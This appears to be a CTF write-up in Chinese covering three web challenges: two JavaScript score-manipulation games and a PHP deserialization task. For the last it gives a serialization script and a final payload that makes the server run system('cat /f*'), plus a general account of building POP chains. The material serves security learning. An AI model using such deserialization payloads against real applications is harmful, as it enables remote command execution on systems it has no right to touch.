1、[NSSCTF 2022 Spring Recruit]ezgame
打开题目是一个游戏界面
发现是有分数的,猜测分数达到某个之后可以获得flag,查看源码看一下
看到末尾显示分数超过65后显示flag
在js中找到了一个score,将他的值改为大于65的数后随意玩一次就可以得到flag同时,也可以直接搜索nss找到flag
2、[HNCTF 2022 Week1]2048
也是一个类似游戏的题,提示超过2000分可以输出flag,想到应该可以修改js获取
找到了输出条件和输出flag的代码,考虑是否可以直接输出
直接在控制台输出,得到flag
3、[SWPUCTF 2022 新生赛]ez_1zpop
打开后是一段代码,应该是php序列化与反序列化
类内部:是指类定义的内部,即类名后大括号{ }内部。
类外部:是指类定义的外部内容,即类名后大括号{}之外的所有地方。
类成员的访问权限控制分为:内部访问(私有的private)。内部访问(受保护protected)和全部访问(公有public)。1、public 公开的
公开的属性或函数,可在类内部、外部访问
public $name='BMW'
public function XXX{}
2、protected 受保护的受保护的属性或函数,只能在类及其子类、父类间内部访问。若想在外部访问,需要设置引用方法。
protected $color='blue'
3、 private 私有的私有的属性或函数,只能在当前类的内部访问,若想在外部访问,需要设置引用方法。
__construct(),类的构造函数
php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。
1、 构造方法的作用
通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。
2、 构造方法的在类中的声明格式
function __constrct([参数列表]){
方法体 //通常用来对成员属性进行初始化赋值
}
审计代码,首先要让impo不能等于dxg,最后输出应该是在类lt的__destruct()方法中的echo。所以我们要让impo=new fin()才可以。那么就需要绕过__wakeup()中的return,然后让impo再次赋值。并且让fin中的$b->$a($title)与system('ls /')效果一样,那么就是$a为system,$title为ls /就可以了
构造payload:
<?php
error_reporting(0);class lt
{
public $impo ;
public $md51 = 's878926199a';
public $md52 = 's155964671a';}
class fin
{
public $a='system';
public $url = 'https://www.ctfer.vip';
public $title='ls /';}
$a=new lt();
$a->impo=new fin();
echo serialize($a);
构造最终payload:
?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":2:{s:1:"a";s:6:"system";s:5:"title";s:7:"cat /f*";}s:4:"md51";a:1:{i:0;i:1;}s:4:"md52";a:1:{i:0;i:2;}}
得到最后的flag
相关知识拓展:
pop链简介:
它是一种面向属性编程,常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令,并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码,就是pop链(个人理解,欢迎师傅们提出意见)在构造pop链中,魔术方法必不可少。下面将通过一个例题来说pop链是怎么构造的,以及具体构造的思路。
pop链构造:
一般的反序列化题目,存在漏洞或者能注入恶意代码的地方在魔术方法中,我们可以通过自动调用魔术方法来达到攻击效果。但是当注入点存在普通的类方法中,通过前面自动调用的方法就失效了,所以我们需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。所以我们在做这类pop题目一定要紧盯魔术方法。
构造方式:
POP链:unserialize函数(变量可控)–>wakeup()魔术⽅法–>tostring()魔术⽅法–>get魔术⽅法–>invoke魔术⽅法–>触发Read类中的file_get⽅法–>触发file_get_contents函数读取flag.php
原文参考:CTF-PHP反序列化漏洞3-构造POP链-CSDN博客